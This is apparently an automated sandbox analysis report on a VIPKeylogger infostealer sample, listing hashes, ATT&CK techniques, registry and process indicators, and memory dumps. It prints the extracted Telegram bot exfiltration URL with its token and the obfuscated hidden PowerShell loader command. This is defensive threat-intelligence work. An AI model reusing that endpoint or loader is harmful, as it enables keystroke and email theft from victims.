vipkeylogger | 6acb2bcd36980972b24bf0530a4e18ce9ddf91c2e794287ba826353177f038e2

Analysis

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
18-12-2024 22:23

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General

Target

6acb2bcd36980972b24bf0530a4e18ce9ddf91c2e794287ba826353177f038e2.exe
Size

1.1MB
MD5

e3f8a7c796b3a85cf91c58be37966ef4
SHA1

a8616424d6436976bed32c5a00421b4d7dbce0f5
SHA256

6acb2bcd36980972b24bf0530a4e18ce9ddf91c2e794287ba826353177f038e2
SHA512

f849416b83e6f8d571355b08dddfd11abcef983367bafd92abd147c93696b1eb8b868e97f168b7ef075b34152cb1ed9c22ef0f9cd194a7b7b09fd0ff3d4ebdcc
SSDEEP

24576:iNrNYoYB0gYjgKPK3VwV5k7j5awX300zQUGtZc:S+7Kd8KK3VwXgj5aEkHUGtZc

Score

10^/10

vipkeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Family

vipkeylogger

https://api.telegram.org/bot7808466522:AAFleMCkdYBjkW3SQRMH5osM11THNEIFjRA/sendMessage?chat_id=7161037710

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5104	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
688	6acb2bcd36980972b24bf0530a4e18ce9ddf91c2e794287ba826353177f038e2.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

Blocklisted process makes network request 11 IoCs

flow	pid	Process
24	3764	msiexec.exe
26	3764	msiexec.exe
28	3764	msiexec.exe
30	3764	msiexec.exe
32	3764	msiexec.exe
37	3764	msiexec.exe
39	3764	msiexec.exe
41	3764	msiexec.exe
52	3764	msiexec.exe
68	3764	msiexec.exe
69	3764	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
22	drive.google.com
24	drive.google.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
36	checkip.dyndns.org

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\stilhederne\tamtammens.ini	6acb2bcd36980972b24bf0530a4e18ce9ddf91c2e794287ba826353177f038e2.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
3764	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
5104	powershell.exe
3764	msiexec.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Common Files\inddatafunktionens.Tra	6acb2bcd36980972b24bf0530a4e18ce9ddf91c2e794287ba826353177f038e2.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	6acb2bcd36980972b24bf0530a4e18ce9ddf91c2e794287ba826353177f038e2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
5104	powershell.exe
5104	powershell.exe
5104	powershell.exe
5104	powershell.exe
5104	powershell.exe
5104	powershell.exe
5104	powershell.exe
3764	msiexec.exe
3764	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
5104	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	5104	powershell.exe
Token: SeIncreaseQuotaPrivilege	5104	powershell.exe
Token: SeSecurityPrivilege	5104	powershell.exe
Token: SeTakeOwnershipPrivilege	5104	powershell.exe
Token: SeLoadDriverPrivilege	5104	powershell.exe
Token: SeSystemProfilePrivilege	5104	powershell.exe
Token: SeSystemtimePrivilege	5104	powershell.exe
Token: SeProfSingleProcessPrivilege	5104	powershell.exe
Token: SeIncBasePriorityPrivilege	5104	powershell.exe
Token: SeCreatePagefilePrivilege	5104	powershell.exe
Token: SeBackupPrivilege	5104	powershell.exe
Token: SeRestorePrivilege	5104	powershell.exe
Token: SeShutdownPrivilege	5104	powershell.exe
Token: SeDebugPrivilege	5104	powershell.exe
Token: SeSystemEnvironmentPrivilege	5104	powershell.exe
Token: SeRemoteShutdownPrivilege	5104	powershell.exe
Token: SeUndockPrivilege	5104	powershell.exe
Token: SeManageVolumePrivilege	5104	powershell.exe
Token: 33	5104	powershell.exe
Token: 34	5104	powershell.exe
Token: 35	5104	powershell.exe
Token: 36	5104	powershell.exe
Token: SeDebugPrivilege	3764	msiexec.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 688 wrote to memory of 5104	688	6acb2bcd36980972b24bf0530a4e18ce9ddf91c2e794287ba826353177f038e2.exe	82
PID 688 wrote to memory of 5104	688	6acb2bcd36980972b24bf0530a4e18ce9ddf91c2e794287ba826353177f038e2.exe	82
PID 688 wrote to memory of 5104	688	6acb2bcd36980972b24bf0530a4e18ce9ddf91c2e794287ba826353177f038e2.exe	82
PID 5104 wrote to memory of 3764	5104	powershell.exe	91
PID 5104 wrote to memory of 3764	5104	powershell.exe	91
PID 5104 wrote to memory of 3764	5104	powershell.exe	91
PID 5104 wrote to memory of 3764	5104	powershell.exe	91

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

C:\Users\Admin\AppData\Local\Temp\6acb2bcd36980972b24bf0530a4e18ce9ddf91c2e794287ba826353177f038e2.exe
"C:\Users\Admin\AppData\Local\Temp\6acb2bcd36980972b24bf0530a4e18ce9ddf91c2e794287ba826353177f038e2.exe"
1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:688
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Imiteret=gc -raw 'C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Unimbosomed\Bumpenes.Dep';$chaffseed=$Imiteret.SubString(4998,3);.$chaffseed($Imiteret) "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5104
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:3764

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jw3clann.wlt.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Sstykkers.Des

Filesize
333KB

MD5
bc4fc12ec00a0f87953621ce84c1fa87

SHA1
7dbf8eca4034ceda343cef51f3b77eb20abd80e6

SHA256
b49bc65b763bab0b03e66ca20030f4a64ccfa0d7eebabdcdd5bfcf311a62dcc3

SHA512
ad0d494caee5b33d4f43cc9c23a258a1c830073ff16e7c9d4cf1a0a353cb9066068716fba244003eeb2587941fe947bb56494187a2c33e35f095e6b036195812

Download Submit
C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Unimbosomed\Bumpenes.Dep

Filesize
69KB

MD5
b10ff0ccf79bb61d61cd633e5ede053b

SHA1
7ed3bf6dff9eef31af0ce686de2eb065f236b903

SHA256
e7325519e43155f0a712f457473d79856bc88d63218136d2b960ed5807cb4b0e

SHA512
ad8d1f56ca7fdb3f6b65897a125cce6e6c49508c75f64bc945109d22cd9b88912a23068b69ad94c4c2bcea50ebf6d8ffac40c28c89b13f641c55bfdccc8b1404

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsuABD1.tmp\nsExec.dll

Filesize
7KB

MD5
675c4948e1efc929edcabfe67148eddd

SHA1
f5bdd2c4329ed2732ecfe3423c3cc482606eb28e

SHA256
1076ca39c449ed1a968021b76ef31f22a5692dfafeea29460e8d970a63c59906

SHA512
61737021f86f54279d0a4e35db0d0808e9a55d89784a31d597f2e4b65b7bbeec99aa6c79d65258259130eeda2e5b2820f4f1247777a3010f2dc53e30c612a683

Download Submit
memory/3764-90-0x0000000023230000-0x000000002375C000-memory.dmp

Filesize
5.2MB

Download
memory/3764-89-0x00000000222C0000-0x0000000022310000-memory.dmp

Filesize
320KB

Download
memory/3764-88-0x0000000022B30000-0x0000000022CF2000-memory.dmp

Filesize
1.8MB

Download
memory/3764-86-0x0000000021EA0000-0x0000000021F3C000-memory.dmp

Filesize
624KB

Download
memory/3764-84-0x0000000000E20000-0x0000000002074000-memory.dmp

Filesize
18.3MB

Download
memory/3764-85-0x0000000000E20000-0x0000000000E6A000-memory.dmp

Filesize
296KB

Download
memory/5104-38-0x00000000704A0000-0x00000000704EC000-memory.dmp

Filesize
304KB

Download
memory/5104-60-0x0000000007310000-0x0000000007318000-memory.dmp

Filesize
32KB

Download
memory/5104-33-0x0000000006250000-0x0000000006272000-memory.dmp

Filesize
136KB

Download
memory/5104-32-0x0000000006200000-0x000000000621A000-memory.dmp

Filesize
104KB

Download
memory/5104-34-0x0000000007350000-0x00000000078F4000-memory.dmp

Filesize
5.6MB

Download
memory/5104-31-0x0000000006CB0000-0x0000000006D46000-memory.dmp

Filesize
600KB

Download
memory/5104-29-0x0000000005D10000-0x0000000005D2E000-memory.dmp

Filesize
120KB

Download
memory/5104-36-0x0000000007F80000-0x00000000085FA000-memory.dmp

Filesize
6.5MB

Download
memory/5104-49-0x0000000007130000-0x000000000714E000-memory.dmp

Filesize
120KB

Download
memory/5104-51-0x0000000074010000-0x00000000747C0000-memory.dmp

Filesize
7.7MB

Download
memory/5104-53-0x0000000074010000-0x00000000747C0000-memory.dmp

Filesize
7.7MB

Download
memory/5104-52-0x0000000007260000-0x000000000726A000-memory.dmp

Filesize
40KB

Download
memory/5104-50-0x0000000007160000-0x0000000007203000-memory.dmp

Filesize
652KB

Download
memory/5104-39-0x0000000074010000-0x00000000747C0000-memory.dmp

Filesize
7.7MB

Download
memory/5104-28-0x0000000005710000-0x0000000005A64000-memory.dmp

Filesize
3.3MB

Download
memory/5104-37-0x00000000070F0000-0x0000000007122000-memory.dmp

Filesize
200KB

Download
memory/5104-56-0x0000000007280000-0x0000000007291000-memory.dmp

Filesize
68KB

Download
memory/5104-57-0x00000000072D0000-0x00000000072DE000-memory.dmp

Filesize
56KB

Download
memory/5104-58-0x00000000072E0000-0x00000000072F4000-memory.dmp

Filesize
80KB

Download
memory/5104-30-0x0000000005D30000-0x0000000005D7C000-memory.dmp

Filesize
304KB

Download
memory/5104-59-0x0000000007320000-0x000000000733A000-memory.dmp

Filesize
104KB

Download
memory/5104-61-0x0000000007A70000-0x0000000007A9A000-memory.dmp

Filesize
168KB

Download
memory/5104-62-0x0000000007AA0000-0x0000000007AC4000-memory.dmp

Filesize
144KB

Download
memory/5104-63-0x0000000074010000-0x00000000747C0000-memory.dmp

Filesize
7.7MB

Download
memory/5104-64-0x0000000074010000-0x00000000747C0000-memory.dmp

Filesize
7.7MB

Download
memory/5104-18-0x00000000056A0000-0x0000000005706000-memory.dmp

Filesize
408KB

Download
memory/5104-66-0x0000000074010000-0x00000000747C0000-memory.dmp

Filesize
7.7MB

Download
memory/5104-67-0x0000000008600000-0x000000000A384000-memory.dmp

Filesize
29.5MB

Download
memory/5104-69-0x0000000074010000-0x00000000747C0000-memory.dmp

Filesize
7.7MB

Download
memory/5104-68-0x000000007401E000-0x000000007401F000-memory.dmp

Filesize
4KB

Download
memory/5104-70-0x0000000074010000-0x00000000747C0000-memory.dmp

Filesize
7.7MB

Download
memory/5104-71-0x0000000074010000-0x00000000747C0000-memory.dmp

Filesize
7.7MB

Download
memory/5104-17-0x0000000005630000-0x0000000005696000-memory.dmp

Filesize
408KB

Download
memory/5104-16-0x0000000004E30000-0x0000000004E52000-memory.dmp

Filesize
136KB

Download
memory/5104-15-0x0000000004F50000-0x0000000005578000-memory.dmp

Filesize
6.2MB

Download
memory/5104-14-0x0000000074010000-0x00000000747C0000-memory.dmp

Filesize
7.7MB

Download
memory/5104-13-0x00000000023D0000-0x0000000002406000-memory.dmp

Filesize
216KB

Download
memory/5104-12-0x000000007401E000-0x000000007401F000-memory.dmp

Filesize
4KB

Download